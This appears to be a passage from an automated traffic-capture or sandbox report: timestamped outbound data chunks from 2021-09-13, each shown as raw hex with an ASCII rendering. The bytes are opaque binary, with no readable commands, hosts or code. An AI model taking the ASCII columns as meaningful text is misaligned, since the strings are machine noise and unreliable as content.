2021-09-13 04:32:06 UTC	2658	OUT	Data Raw: 60 6e ee 1a 27 03 f3 f3 d6 50 05 a7 90 81 1b dd d6 40 df bd d3 44 05 fe ec 7e a2 5f 30 bf 7e 88 e8 0f 8b 88 fe fc 28 ef ff 61 a2 bf 3c 48 f4 d7 07 78 9a b7 f9 c3 42 a2 df dc 5a 47 ff c3 fb fb e9 cc 95 f4 c3 9b 96 d3 f7 a7 7d 4a df 9e f6 19 55 4d fb 84 2a a6 2f a3 8a 9b 97 53 e5 8c cf a9 e2 96 55 54 31 6b 35 55 cc e6 ef 9e c3 cc ad a3 ec 3c d0 40 d9 05 8d 86 f9 94 c0 cb d1 77 21 9a 33 4b 3f 86 b3 eb f9 b3 f5 94 bf 85 e1 73 ab 98 c1 cb 6f e6 74 7a 1d 15 6e ac 35 51 88 53 79 bf 93 98 09 d5 94 19 b3 82 32 d7 31 d7 f0 fd 86 08 bc 94 f3 cf 05 18 9c 86 cb c2 e9 5c de 4e 82 08 7c 9a 9f 11 10 81 fc 3c c2 f3 0d cf 51 bc 9f d1 1a 02 d1 80 68 1a 2c ff 50 e3 df 86 90 81 fc ee 94 c8 7b b4 1a e3 77 97 2f 02 25 98 04 fd d5 8b 08 e4 df c7 51 f9 07 9a 29 00 7f 7a ec de 22 Data Ascii: `n'P@D~_0~(a<HxBZG}JUM*/SUT1k5U<@w!3K?sotzn5QSy21\N\|<Qh,P{w/%Q)z"
2021-09-13 04:32:06 UTC	2674	OUT	Data Raw: 67 a2 f2 0f 94 13 80 9e 08 8c 89 bf 90 72 12 30 16 29 18 13 80 40 07 fe 58 55 5d 2b e9 e6 83 c6 8a 00 dc 6c 60 52 c7 d5 75 a7 5f 77 df 17 2e 00 b3 a3 1b 8c 04 14 ea 28 3b b6 de 00 11 38 ce c8 c0 dc 38 cc d7 8b 08 4c a8 13 0a 13 eb a9 c0 db 38 26 a5 45 20 06 11 c9 ea 48 c2 4e 06 02 9e 9f c9 a9 8e 22 3c b7 ce 89 c0 c2 bc 7a aa 9c df 40 55 0b ea a9 f5 82 3a 6a 3d 6f 0d 7d 67 7e 2d fd 88 a7 7f 7e 5b 3d fd df ed 8d f4 a7 85 44 9b dc c5 d7 ef 1e 33 68 48 3b 8c 1e bc 88 a8 c7 62 a2 be 4b 88 06 3e 41 74 c0 93 46 04 a2 89 f0 f0 a7 6b e8 f4 a5 6b e8 bc 17 d6 d0 25 2f d5 d2 95 2f af 91 26 bf d7 bf b2 86 6e 7a ab 81 e6 32 77 bc 4b 74 ef 7b 44 0f 7d 40 f4 d8 47 44 8b 3f 26 5a f2 09 f3 59 23 2d 59 56 4f 4f 2c ab a3 a7 97 d7 d3 52 e6 c5 65 0d f4 ca 67 a0 86 de 5a 5d 4b Data Ascii: gr0)@XU]+l`Ru_w.(;88L8&E HN"<z@U:j=o}g~-~[=D3hH;bK>AtFkk%//&nz2wKt{D}@GD?&ZY#-YVOO,RegZ]K
2021-09-13 04:32:06 UTC	2690	OUT	Data Raw: 23 00 33 7d 70 9f fa e1 9e f5 47 3a 00 0c c4 f4 3d 3e 9a 6f 30 7e 1f 31 a2 0f 64 47 6c 94 fc a8 cd da b4 b5 c3 c4 7a a9 9a dc 28 9d a7 36 4b d7 e9 22 dd 67 a2 3e 3d bd 59 a5 5f 97 99 6c 86 db a2 d3 6c d6 5b 35 a3 49 3a 02 46 e9 19 94 7a 46 f9 4c 47 d9 b4 7a 25 3f b5 41 72 53 6a 25 3b b9 4e c9 4d ac 55 32 e3 3d d8 7f 66 ec 56 c7 e8 2d 92 19 b9 49 32 23 36 47 72 2f 33 aa 21 c2 22 f0 48 4c ce 8d 69 41 5e 33 d6 a1 d4 6b 74 72 6f 94 14 18 e9 19 d1 22 99 e1 9e 11 9c 77 f9 59 0a 40 8a 42 a4 44 d7 e5 3a 23 b1 4d 32 0a d3 5e 24 16 a4 5f 31 91 00 f4 70 5e 9b 03 4f c0 31 4d c6 36 a6 20 6f b2 13 80 55 63 d7 ca 61 93 5e 91 2b 9f 5e 2d 4b 45 64 fa 6a 91 73 a6 ff 43 7a 5c f3 b0 f6 63 bd 5d 02 90 c3 4a b3 b0 ad 5e b7 51 8e fd d1 30 cf 50 65 e6 d2 3f 2b 9c de b4 69 93 d4 Data Ascii: #3}pG:=>o0~1dGlz(6K"g>=Y_ll[5I:FzFLGz%?ArSj%;NMU2=fV-I2#6Gr/3!"HLiA^3ktro"wY@BD:#M2^$_1p^O1M6 oUca^+^-KEdjsCz\c]J^Q0Pe?+i
2021-09-13 04:32:06 UTC	2706	OUT	Data Raw: 31 fd 82 db 57 b7 7d a4 e7 40 bc ed 5e 18 21 3d bb ec 2e 99 2e 3f 8f 7f 9e d8 67 a3 ed 2f 94 5e 9d 52 f6 15 ae 1b ee 7f 5b 05 20 d6 61 34 5f e6 4b e3 5d f9 39 15 e7 4b e9 b7 d7 27 a4 d7 e2 15 d2 6b d7 8f 48 66 87 2b dd be 3f b7 1f a6 c1 25 4b dc f5 dd e9 10 5c ab 43 a4 d7 42 bc 0c 2f 3b 1c f7 03 f3 a7 8e 94 95 2f 8e 92 9e bb 62 9e db 31 b1 c9 e3 bb f4 21 7c 6e a9 f4 ea ba 97 64 ba 5f e1 8e 1d e5 27 bb 73 20 4a 79 8f 22 e1 e9 cf 6d c7 03 75 1f 94 8a 99 5d 50 b6 c3 65 3b 1d 5c 58 b6 1f ca e5 07 02 b0 38 2f 99 1f 2e 4b 0a c0 34 e9 17 12 93 7c e0 03 01 d8 2a 69 d2 2f 24 4d f0 b5 c5 b6 08 c0 b4 e5 31 52 e4 1f 89 04 60 9a f0 23 81 f4 0b e5 9f 89 3f 92 3f 25 3e 40 48 1a 36 6a 30 b1 01 42 c2 48 40 6d 1a ec 25 60 5c 04 02 8d 0a a4 04 0c 29 25 00 1d 69 d2 2f c4 04 Data Ascii: 1W}@^!=..?g/^R[ a4_K]9K'kHf+?%K\CB/;/b1!\|nd_'s Jy"mu]Pe;\X8/.K4\|*i/$M1R`#??%>@H6j0BH@m%`\)%i/
2021-09-13 04:32:06 UTC	2721	OUT	Data Raw: 8d c1 f5 1f 89 73 19 51 27 65 da cc 0b e5 63 c8 d6 58 14 91 09 bb 48 da b1 52 eb 2b c5 56 31 76 e2 c0 0b 04 c0 3e ed 6c 70 8b fc 80 4d 0a 47 56 0d d1 e8 16 94 cf 5c 7f ec 13 64 ab 71 dd fa a1 c2 ca f2 ab 12 90 a0 bc 63 5b d9 6a 4b 1d a5 44 60 18 99 a8 78 01 a8 22 dd a3 7d 17 f6 7e 27 5d f6 a5 10 3d 7f 1a f9 e8 a6 93 d2 2f 84 c7 d1 ee 08 40 9e 27 2b fc 61 c4 9e 81 f3 54 2c 72 8b b2 c6 84 4d 00 07 b6 e1 7d e3 fd 2b 67 5f 5d a3 1a a4 62 0c ca ef d8 66 a9 c0 33 5a 81 67 b3 02 cf 26 cb 6f 87 e9 28 db 33 44 aa 50 5e 3a a1 dc 74 9a 23 2a fe 18 dd e7 22 fc 44 2a 00 47 f4 e6 28 df f9 99 2c a7 28 ef 78 0e 28 fa 54 f6 71 e0 9e 80 cc 2c 3c c7 33 f1 1c cc 40 99 27 94 7d 11 c8 c7 f2 ec 6c ac 8b e7 9a a9 46 0a 33 7f 4e a3 64 f1 9c 69 a4 f0 5c e4 cf c1 76 08 a6 73 f7 e1 Data Ascii: sQ'ecXHR+V1v>lpMGV\dqc[jKD`x"}~']=/@'+aT,rM}+g_]bf3Zg&o(3DP^:t#"DG(,(x(Tq,<3@'}lF3Ndi\vs
2021-09-13 04:32:06 UTC	2737	OUT	Data Raw: 1b d0 48 05 b6 47 03 ca 79 01 69 39 4e 24 a0 29 01 55 44 a0 4d 04 3a c9 3f 85 25 32 d0 21 22 50 49 40 c6 49 fa 39 12 a7 8a b0 5d 02 8a b9 02 75 34 01 e8 24 02 ab 8a 0c 54 58 52 85 6d 44 23 04 e9 c1 46 09 40 7e 20 e1 07 0a 25 00 bf 61 94 04 94 0f 07 8e 28 11 68 44 02 ba be a7 07 cb 01 f4 10 f9 03 3d 78 1a 12 90 23 02 45 54 a0 12 7f 3f d0 18 c6 94 80 f4 d0 6a c8 3c 25 00 ed a8 39 05 05 22 cd 38 8a 94 31 61 21 02 05 83 69 5d 45 58 0d a5 87 5b 43 0a 4a 64 1f cf df e6 d8 0a e8 b5 0c 99 12 23 04 a9 75 db 84 89 40 45 0c 72 3b 96 de a3 81 4a 1d 16 a9 c1 13 82 48 98 48 f0 5c 81 93 89 29 d4 3f 25 00 17 cf 79 36 8d d6 79 de 33 82 e7 44 53 b8 a7 31 21 21 01 eb 4c f3 8b 0a c3 f5 67 56 a2 e1 ac 0a 34 a2 07 f0 03 67 96 a0 e9 ac 62 1c 32 bb 18 47 a4 97 e3 d8 74 0f 3d 84 Data Ascii: HGyi9N$)UDM:?%2!"PI@I9]u4$TXRmD#F@~ %a(hD=x#ET?j<%9"81a!i]EX[CJd#u@Er;JHH\)?%y6y3DS1!!LgV4gb2Gt=
2021-09-13 04:32:06 UTC	2753	OUT	Data Raw: ea 22 50 a6 13 13 3c 4f dc 84 b0 98 9b ae e1 a0 bf 71 fa b0 d5 78 ef 8f 00 66 03 48 23 5e fc a5 12 a7 4f d8 80 46 e3 8a c4 1c 7f 09 13 08 16 78 93 e8 78 2c ef 54 b5 e2 09 30 ab cb 72 31 09 46 08 46 bd c2 2c 0b 40 21 01 69 3b 0b 25 43 f8 89 96 a3 cd 58 26 72 2b b6 d3 f1 85 28 a4 3e 1e 23 d2 8b a9 9d 4a 7d d3 68 5f 42 46 22 1a db 26 d1 f5 9d 1c 10 29 ca 8c 4a 2f 56 f3 11 d6 a3 07 6e 2e 52 22 98 52 8e 03 26 97 a2 f1 e4 62 1c 32 b5 10 47 4e 2f 41 b3 19 c5 38 8e 38 99 38 7b 76 29 9a a7 94 e2 d2 94 32 5c 99 56 8e b6 e9 65 b8 29 cb 83 ce b9 5e f4 28 08 e1 9e 05 5c 30 04 78 9a 1e f8 5f 58 09 bc bc 1a 78 63 0d f0 ee 5a e0 83 75 c0 c7 04 0b be 6f 37 49 31 38 60 33 f0 23 f1 93 c1 40 5e df 42 db b6 03 df ec 00 be 26 38 dd 98 53 8d 3f d8 08 bc f5 17 f0 fa 7a 3a 2e 1d Data Ascii: "P<OqxfH#^OFxx,T0r1FF,@!i;%CX&r+(>#J}h_BF"&)J/Vn.R"R&b2GN/A888{v)2\Ve)^(\0x_XxcZuo7I18`3#@^B&8S?z:.
2021-09-13 04:32:06 UTC	2769	OUT	Data Raw: 84 85 04 b4 88 40 22 89 c6 33 c9 44 bd 19 41 34 98 19 42 a3 59 61 34 4d 09 8b 79 03 8f 4c 0b 83 2b c6 1e 9f 15 c1 49 d9 11 9c 92 1d c2 69 86 10 e2 d4 50 8e fa e2 b9 df 44 ca 70 2e 47 6f 85 d0 96 b8 21 2f 80 9b f3 7c b2 b8 48 5e 05 7a e4 97 e3 ae 82 0a dc 37 cf 83 3e f3 3d 78 8c 78 ba a0 08 af cf df 89 ef 56 15 63 ee 4e 1f fe 04 b0 90 f8 6c 3d 70 f9 94 1d 38 f0 07 fa ad fb 92 be b3 1f 97 22 f1 ed 6d a8 f3 c6 16 24 bf b1 11 49 af 6f 80 fb d5 bf 84 00 3c f3 83 45 78 35 73 3b 56 94 03 3b 11 c6 c6 48 18 73 77 14 63 e6 e6 4a cc d8 0a a4 6d 03 b2 a8 cd a3 76 0e dd cf 73 77 10 2c 02 4b 68 9d 05 61 99 24 8f ee f3 ec 62 20 93 48 2f 04 52 09 9e ab 70 3a 8d 9f 42 fb 4d a4 63 70 f4 e0 c8 0d c0 b0 75 61 0c fe 23 80 1f fe f4 e3 eb 75 41 7c b8 d6 8f 77 7e f5 e0 d5 5f 3c Data Ascii: @"3DA4BYa4MyL+IiPDp.Go!/\|H^z7>=xxVcNl=p8"m$Io<Ex5s;V;HswcJmvsw,Kha$b H/Rp:BMcpua#uA\|w~_<
2021-09-13 04:32:06 UTC	2785	OUT	Data Raw: 22 5f ef cf 5a f5 f7 46 35 d5 37 d6 65 3e 67 4f f3 55 18 a8 16 03 b1 e1 2f 8d 7f 7a ca 6f 20 b5 e8 47 f4 96 e5 0c 80 34 da 84 d3 00 18 b9 9d 56 a3 f4 00 a0 e0 5f 18 02 d6 10 00 e6 7a be fd 3c 37 03 80 92 60 1c 25 a3 0b 7d fb 02 cf 21 04 54 98 67 23 9f 40 9f fb d8 44 cf e3 e7 d2 eb e9 7c 00 48 f8 47 69 fc 13 00 54 a3 ff f2 00 c0 6c 65 c3 c1 1d 00 80 6a 1a 70 82 f3 e1 5e 3e e5 03 80 94 a0 9f fd 58 5d 07 90 6e 13 10 7b 31 0d 80 fb 0f fa 14 ea 8f c7 3f 1e 35 00 9e 31 6a bb 1f 00 09 d6 3c f8 e6 6d 37 00 aa 0a 05 40 27 1b 00 29 77 5a 30 03 60 b6 51 80 1f 62 1e f8 93 aa 13 00 8b 46 27 61 af 51 00 fb 62 7f 1c 03 70 d8 38 80 63 b0 13 c7 25 e1 b4 c9 09 5e e5 95 00 f0 a1 39 9b 61 cc d7 09 06 c0 d1 65 c0 23 b8 8e 78 7e 1d fc ec 51 fc 7d f9 00 76 0f fe 3e bd 7d b5 1a Data Ascii: "_ZF57e>gOU/zo G4V_z<7`%}!Tg#@D\|HGiTlejp^>X]n{1?51j<m7@')wZ0`QbF'aQbp8c%^9ae#x~Q}v>}
2021-09-13 04:32:06 UTC	2801	OUT	Data Raw: 02 c0 c0 73 f2 06 c0 f5 5c 18 00 ca d4 5e c2 bf e8 03 9f 41 e4 41 95 0f fd ec 64 a5 5f 03 81 16 fe d9 00 68 7a 94 ae f3 97 4e 01 a0 4e 8f 06 e4 1c d8 cb 37 1f 00 da e0 e7 e6 c7 3f ca 81 3f 3b 1b 00 6d d0 b3 b2 b1 cf 57 36 00 a4 04 01 05 fa 6c 04 b4 b7 09 fc 05 a6 06 e3 f6 ea 00 c0 d6 f8 47 e5 6e 00 d4 b7 3f 52 00 8c 7c 84 9f 17 b3 01 d0 46 40 c2 3f 9e 12 3c 0a 7f c6 a8 d1 34 fd 57 8d fe 23 00 2c 1a 99 32 00 18 1b 59 c1 0b 81 1c 38 36 09 87 8c 05 f8 d7 b8 04 03 e0 1d f3 d5 08 40 fc 51 83 a1 5f 02 5c f1 c1 17 70 e0 23 2b f1 f7 d2 2a d8 e3 ce e5 0a 00 cd ef 75 ac cb 3c 03 80 a7 3d 3c 29 14 00 65 04 60 36 00 a4 d1 7d 17 4e 49 04 10 2f 38 c5 57 4f ed d5 b0 27 65 03 c0 46 f8 5e 84 7f 8d a7 5b f0 37 5d 4d 03 16 f8 63 fc a3 51 7f 35 0e 80 09 2e 1b 00 aa a9 bf 0a Data Ascii: s\^AAd_hzNN7??;mW6lGn?R\|F@?<4W#,2Y86@Q_\p#+*u<=<)e`6}NI/8WO'eF^[7]McQ5.
2021-09-13 04:32:06 UTC	2817	OUT	Data Raw: 8f bf 23 97 f2 ff 2e f8 00 70 cf 8e 0a 00 69 04 e0 ff d6 a8 11 80 02 80 37 8c ff 12 ae 9c a4 00 90 46 ff 11 00 d2 14 e0 06 53 d2 53 80 09 00 19 01 a7 05 a7 f4 ba 35 c4 63 7c 65 ec 77 00 b0 31 be 2f 95 0b 00 c3 ba 6c 7a 92 23 f4 cb 06 80 f2 f8 aa 99 49 4e 00 50 ae 05 28 00 d8 6c 76 8a ab 09 00 24 fc 0b 03 c0 8e b3 e3 59 01 30 6c 11 90 42 01 50 10 f0 de 85 1a 01 2d 00 a4 b2 01 a0 0f 01 5d 00 74 7b 62 45 82 11 30 e7 22 20 16 fe d9 00 a8 f0 2f 1c 00 09 fe 24 1f 00 12 fe 51 43 d7 a9 95 7f b3 01 e0 a3 0b b7 c3 d5 c3 d7 54 01 00 ff ef 74 0d 2d 2b a1 ef 19 fb e1 fd c3 21 f2 1b 4a 6f ab 1d 81 48 a4 25 de 2f 86 be a7 ee 05 b5 fb 15 03 0c c7 3f f6 7e 7d 30 44 7f f7 0f 88 1e a4 01 90 c0 ed 8f d7 32 e6 0d 6b 77 20 c3 52 84 46 ea fd 5e c1 57 94 40 ef 37 8d cc fe e8 3e Data Ascii: #.pi7FSS5c\|ew1/lz#INP(lv$Y0lBP-]t{bE0" /$QCTt-+!JoH%/?~}0D2kw RF^W@7>
2021-09-13 04:32:06 UTC	2833	OUT	Data Raw: 83 aa 04 e0 e8 c5 90 7c 86 31 9f 33 8b 8c fc 03 a6 ad 92 c6 2e 5a 4d 63 16 af a6 47 17 55 d0 d5 73 97 d0 99 af 7d 2d 02 70 ab 1e fc 3b e5 09 83 f8 77 ff 81 fc 39 e4 d2 ea 0a 40 f7 cf 4b d4 05 59 7a be 00 dc 68 6b c3 5f 1a 18 e1 86 6b d3 c5 22 0c 17 dc 76 84 1d 6f 05 e2 8b dd ec 78 be d7 06 d8 47 50 ef ef 0a 40 3b 07 ee 85 7d 01 f1 ac c8 f6 83 04 c4 33 1e 79 37 8f 20 7a a1 d7 6e dc b7 9f 29 f2 b1 e3 09 72 8c 7d 0a 73 de 73 8b 03 a5 38 49 72 17 2b 00 95 90 c0 12 9a 47 a8 b4 f3 c9 25 f7 42 7d 8a f6 ff 57 0a 40 bc 6f 36 53 32 b6 fc d7 ca bf 6a 09 c0 58 d6 9f c1 ec e9 97 2d f6 b4 6d ad 0b 40 b0 96 33 00 5d 7c 01 08 22 11 a5 f7 f1 9f 23 c2 b9 af 4b ec 19 f3 a0 f7 b1 c2 2a 17 ee b8 82 08 dd 6b 4d f0 5f 77 68 8c 4b d6 33 a1 9d a3 95 70 2a f2 44 be a1 cd 7f 8d 2a Data Ascii: \|13.ZMcGUs}-p;w9@KYzhk_k"voxGP@;}3y7 zn)r}ss8Ir+G%B}W@o6S2jX-m@3]\|"#KkM_whK3pD*
2021-09-13 04:32:06 UTC	2849	OUT	Data Raw: 3f 4f 00 32 d1 b2 e0 f3 e3 12 d0 c8 3f e6 fc 0f 84 ea 0a 40 90 1a 90 47 00 e6 42 e5 5f 35 25 60 48 ea 55 87 ea 08 40 39 86 f8 bb 9c c7 38 12 50 c4 9e 15 80 8a 91 77 ce 39 f7 8b 28 74 04 a0 1c a3 dd 8e 15 62 f2 8f 81 c4 fb 8d 05 60 24 fd 02 7b fe 81 e4 4d 28 fa 61 80 fc ab 0d 01 08 22 09 17 e8 53 5c 59 27 63 7d 61 57 15 01 01 98 ba 35 3e 67 6c de 40 16 a0 22 02 10 55 80 ad 00 2c b9 e3 67 11 80 f5 5e a9 a0 0b 16 f0 07 e0 1f 88 3a ce 36 19 80 10 80 90 7f c2 30 fa 53 00 2a 63 f9 3e 79 58 db 02 b0 2a 5c 61 27 d2 2e 30 a6 3a c4 e6 aa 05 01 78 d0 0b df 48 06 20 04 e0 b3 3f 13 75 78 e6 2b da f2 f2 99 46 00 e2 e7 3b 7e de 67 09 c0 89 91 00 bc fa a5 4f 68 de ea 8c 00 ec 39 ed 5b 6a 34 fe 47 6a 30 65 19 1d 33 65 35 1d 39 9d e8 88 a9 10 80 15 74 cc a4 52 11 80 ae 04 Data Ascii: ?O2?@GB_5%`HU@98Pw9(tb`${M(a"S\Y'c}aW5>gl@"U,g^:60Sc>yX\a'.0:xH ?ux+F;~gOh9[j4Gj0e3e59tR
2021-09-13 04:32:06 UTC	2865	OUT	Data Raw: ef a7 56 09 e9 a7 96 0b a9 a7 56 52 fa 69 fe 7a 3f bd 92 12 4f ad e0 39 97 f2 fd f9 fb e1 e9 25 b4 ee 33 bf d0 06 cf fe 4c 5b 3e b1 88 8e 7d e2 1d ba e5 93 65 34 9d 3f 73 8d e5 ef b7 d3 06 7f 48 9b f4 78 9d ea 76 9e 44 45 9d 66 f0 cf 8a a9 94 ee 3c 5e fe d3 22 d1 65 34 25 ba 3f c6 91 7f d6 74 19 46 ff ba f8 49 ba fd 95 4f 69 71 29 d1 7b ab f9 33 dc e7 cb a9 e5 eb f3 e9 d0 17 16 d2 21 af fe 4a fb bd ba 9c f6 15 56 d2 7e af ac a6 fd 5f 66 5e 5b 21 1c f0 ca 2a a6 94 f6 7d 79 45 c4 7e af ac 94 b1 7b bf c6 bc ba 9a f6 7a 6d 35 ed f3 46 19 ed f9 46 29 ed c1 fc 7b 1c c7 f1 65 f4 af 09 cc f8 72 da 63 dc 2a da 67 1c cf 3f 6e 99 b0 df f8 e5 b4 ff 04 9e 7b e2 ca 08 b4 f9 7d 07 4e 5a 15 61 32 0b cb 6c a6 a1 c9 2a 04 58 5e 7c d4 a4 32 3a 9a 8f c1 b1 3c e6 38 6e 3b 7e Data Ascii: VVRiz?O9%3L[>}e4?sHxvDEf<^"e4%?tFIOiq){3!JV~_f^[!}yE~{zm5FF){ercg?n{}NZa2l*X^\|2:<8n;~
2021-09-13 04:32:06 UTC	2881	OUT	Data Raw: 96 88 cc ab 18 24 01 31 89 45 5e 91 6d 4d 0c 12 24 08 b1 91 a0 32 75 b8 83 59 0f 50 31 d3 89 5f e5 6b 1e 29 fd 65 8d 3f 89 5c c4 d8 56 32 42 92 ca 36 ea b8 0d 49 41 64 3d c0 d1 86 0b de a4 c4 79 63 f9 f8 51 fc 5e a0 0d 0c 17 b1 87 ac d3 58 67 11 9f 39 59 8b 51 80 e8 83 28 e4 31 65 4a 34 de 43 fb d9 6c 8b cf 3b ff 6e b7 79 82 3f 87 fc bb d9 9a 7f 47 5b f1 ef 7f 2b fe bd 6f cd 60 bb 25 e0 36 de 4e b5 ee cd 3c 2e 24 5b 1a 12 2d f8 3b c1 01 d3 ef 11 e1 9b 3e 8d fb c9 9a 9f e0 31 2a 3c f5 31 29 cd 1a a2 fc dd a0 d1 7f 19 12 d0 4c 17 0e c8 10 82 fc 1d a7 88 f8 f3 90 64 1a 4c 90 ec c8 12 c8 3e 15 80 8a d6 5b 32 8e 0b e5 1f b6 55 d6 61 6d 41 9d 3e ec ae 25 08 61 e6 0b 34 17 39 a6 31 7f c7 3b a4 9b 60 3d 43 f0 40 84 64 13 fe ce 77 48 34 e6 bf 07 76 3b d5 d8 25 3a Data Ascii: $1E^mM$2uYP1_k)e?\V2B6IAd=ycQ^Xg9YQ(1eJ4Cl;ny?G[+o`%6N<.$[-;>1*<1)LdL>[2UamA>%a491;`=C@dwH4v;%:
2021-09-13 04:32:06 UTC	2897	OUT	Data Raw: 71 1e 25 8f e4 eb 43 04 1d 83 eb 2e 38 a6 b3 90 3e ca 50 70 74 97 58 d2 c7 5d 48 49 26 5b 29 11 76 5c 26 b8 14 10 61 07 6c 7d aa e6 45 59 49 d6 0a 4b 25 55 bb ab 90 ae 03 e1 c7 d4 33 51 65 e9 fa 90 59 57 53 41 03 13 ad 55 88 48 2d b7 6c 70 a3 89 de 6a 18 2d 25 ca 0b 12 4b 23 c2 ec d4 48 9d 36 09 49 26 11 62 5c ba 40 ae 81 44 9d 1e 4c 77 4a d6 0e 4b 13 8d 86 76 ae ab dd 5d ea a5 cd 89 50 33 d7 0b 91 d6 33 27 05 f5 6f c8 00 f7 a2 b8 eb a5 55 04 a6 73 56 96 02 08 b5 2c 40 b6 25 1a df 64 44 5e 53 48 37 23 de 92 0e 90 69 a9 93 8c 5c 43 09 71 96 3a 89 ff 80 5b 92 56 c2 25 9b 62 4a 68 88 1f c1 e6 f6 09 85 9d 6d e3 71 dc 12 62 ce 44 b6 dd 43 c9 13 ee 12 20 ea e2 30 d2 8e fb d9 d2 95 77 3e c9 53 4c 99 68 66 44 5f e2 e4 07 28 71 8a cd 0a da 8c 39 15 49 0f 18 2e 93 Data Ascii: q%C.8>PptX]HI&[)v\&al}EYIK%U3QeYWSAUH-lpj-%K#H6I&b\@DLwJKv]P33'oUsV,@%dD^SH7#i\Cq:[V%bJhmqbDC 0w>SLhfD_(q9I.
2021-09-13 04:32:06 UTC	2913	OUT	Data Raw: 29 b4 3a 8d d6 26 d4 30 a0 ce 15 80 a7 f0 38 21 c9 03 9a e5 24 b1 3f 9f 33 e0 c4 0c 54 5c 2a d9 ea 95 50 fa b9 32 90 c1 fe c1 5c cf f7 ad 89 41 70 ed a9 7f 9c c6 9c 21 98 ec c0 8a 2f d7 20 dc 20 de 5a 1b 02 61 77 a6 ad 6f 63 db b0 8d fa e8 f1 9a 70 24 a5 6b f5 a1 1e d3 90 ed 54 64 cd 48 ec 1e 13 8c 15 43 b0 e6 9f db 5f 8e 41 bd 01 92 11 40 3a 06 1c de 56 10 69 07 11 c9 a5 88 48 48 41 94 1e d2 a7 12 98 28 40 83 26 20 91 24 24 56 04 86 74 8c 80 2c b7 c0 95 5d 2a bc 5c 42 c1 97 0d 4f fc f9 1c 65 32 e6 2a 2a 04 75 1f 32 0d 52 4d 11 b9 e6 d4 e9 76 e2 88 0b 42 78 5c d3 ee 0a 48 83 7f fd 72 0f 72 6f 59 04 68 70 6c e6 b5 eb 35 c8 f5 1e 19 0a cc d4 31 17 4b 09 24 0b b0 e2 8b 40 95 81 2e ba 36 a0 12 48 c2 2b 63 65 5f 48 f7 2c 70 5b 1d db 47 a6 fb f6 30 d4 0b a3 fe Data Ascii: ):&08!$?3T\P2\Ap!/ Zawocp$kTdHC_A@:ViHHA(@& $$Vt,]\BOe2**u2RMvBx\HrroYhpl51K$@.6H+ce_H,p[G0
2021-09-13 04:32:06 UTC	2929	OUT	Data Raw: 70 2f 85 80 3c 0a b0 23 a4 f6 bb d5 76 1b 17 1d 79 67 e0 2d 82 78 07 dc c3 09 0e 0a ca 05 1d 84 8f a1 e8 b6 06 3d 05 78 de 63 6e c1 39 34 dd 58 65 41 32 71 b0 8d 41 cf 41 3c 4e b0 cf dc 17 f0 8b c0 1f 6d 83 42 e4 63 e8 93 a9 be 3a c1 39 06 3a b9 4f 50 47 f7 b1 23 1e 63 88 33 f0 17 1d 91 e7 16 4e 1d 8e 09 9f c3 8d 9e 3b c0 bc 23 3b 17 a6 f6 27 8f 32 a5 8e 7e 26 92 ec 2f 16 9d a7 61 af 20 da 7f 24 6e 8f 7a 16 6f 3f c7 d1 c2 1f 7c ed 3f 55 e2 d8 28 c4 99 95 78 5f e1 a9 b7 8c 78 8c 6f 6f 43 ea d4 77 20 75 ca bb 90 38 e5 9d b0 93 df 32 23 04 4f 7a d3 14 4c 05 36 d3 81 19 0f 09 11 69 4a 2f af 0a 6c 9e 3f 80 c0 e0 f5 2c fc 49 c1 b5 ff 2c 02 da 11 80 21 04 1a 00 4c 9e 8a ef e7 b4 77 21 79 fa ff 38 46 bf 33 cd 35 ff 74 02 80 3a 5e 10 e4 2c 3c 1e 2c 0c e2 c9 39 96 Data Ascii: p/<#vyg-x=xcn94XeA2qAA<NmBc:9:OPG#c3N;#;'2~&/a $nzo?\|?U(x_xooCw u82#OzL6iJ/l?,I,!Lw!y8F35t:^,<,9
2021-09-13 04:32:06 UTC	2945	OUT	Data Raw: 35 84 bf a7 a7 e6 39 01 40 81 3f 1f 00 6a 08 2c 17 00 e9 da 7f 3e 00 7c 79 36 f8 01 f0 a8 fb f0 33 05 7d 06 b2 00 e8 c3 37 5d 8b 03 a0 07 02 e5 35 db 1a 00 f2 71 0d 7e 71 d9 e7 e1 e8 71 36 17 ff 7c 00 18 dc 17 00 f4 a0 9f ce 7d 9c 9b 0f fd 74 be c7 ac ab e4 6b 29 56 ec f9 6d 06 00 cd 48 40 17 ec e2 8a 03 3e 29 ee 78 b0 7f 23 00 96 55 1c 00 9a 29 c0 f4 da f6 f5 24 01 40 c2 3f 01 40 5a ec 63 23 00 46 01 d0 59 fc 43 00 30 b5 4f 47 ae 24 00 ee 67 16 02 31 f8 47 b7 5b 19 00 7d e8 a7 73 e0 cf cd 87 7a 0d a9 1c 00 e4 14 00 32 02 36 10 00 83 1c f0 73 8b 00 a0 c5 3f de ef c1 3f ee b8 57 a2 00 28 78 a7 f0 4f 00 50 23 60 83 01 90 0a e0 4f 0a 01 90 de 53 29 00 d4 20 d7 50 00 0c 10 50 03 20 65 01 50 16 ff 10 f8 0b 00 d0 2e 36 42 53 7e cd eb bd 67 d2 00 78 c6 07 06 fd Data Ascii: 59@?j,>\|y63}7]5q~qq6\|}tk)VmH@>)x#U)$@?@Zc#FYC0OG$g1G[}sz26s??W(xOP#`OS) PP eP.6BS~gx
2021-09-13 04:32:06 UTC	2961	OUT	Data Raw: 9f 14 80 5f 2b 02 a0 c6 3e 5f fa dc a0 47 0c 02 36 1a 00 3b d7 31 00 6e f6 d4 0a f8 fe e3 b3 e1 a0 6e d9 00 00 ff 43 d3 c6 5e a9 82 cd 5e 4c 33 00 a6 de 70 00 90 00 af 39 01 b0 4c 04 dc 08 80 b8 4f 10 d0 87 7a 0d a9 29 00 c8 65 f8 3a 80 15 dd ea 19 00 2b be cc c0 37 f1 bc ef f5 04 9e 06 fc db 3e 79 f8 73 9f 34 fc ab 6f 1e f6 e8 97 e5 51 6d 17 0c cd c2 9d a3 d6 32 6a 4c af 33 2b 00 d3 4a be 04 80 87 f5 58 08 3f 79 65 0e 03 60 ea c1 b5 90 c4 df 5f fe 37 41 01 e0 37 6f 34 00 d8 d1 02 20 3d d6 07 80 87 e2 6b c9 08 40 01 c0 83 9b 19 00 69 4a 71 24 e7 b8 c6 3f 7a 0f 1a ff 9a 03 00 83 68 5f 90 99 f2 4b d1 ea be 74 7d 3f 9e ea 1b 81 3f 8d 7f 10 c0 1f a5 af f1 27 f8 77 e1 f0 0c 5c 3c 3c cb 31 fc e1 31 da 76 c0 f3 19 fe ec 6a bf 32 ed 57 ae f9 17 2c f2 31 c6 4c f5 Data Ascii: _+>_G6;1nnC^^L3p9LOz)e:+7>ys4oQm2jL3+JX?ye`_7A7o4 =k@iJq$?zh_Kt}??'w\<<11vj2W,1L
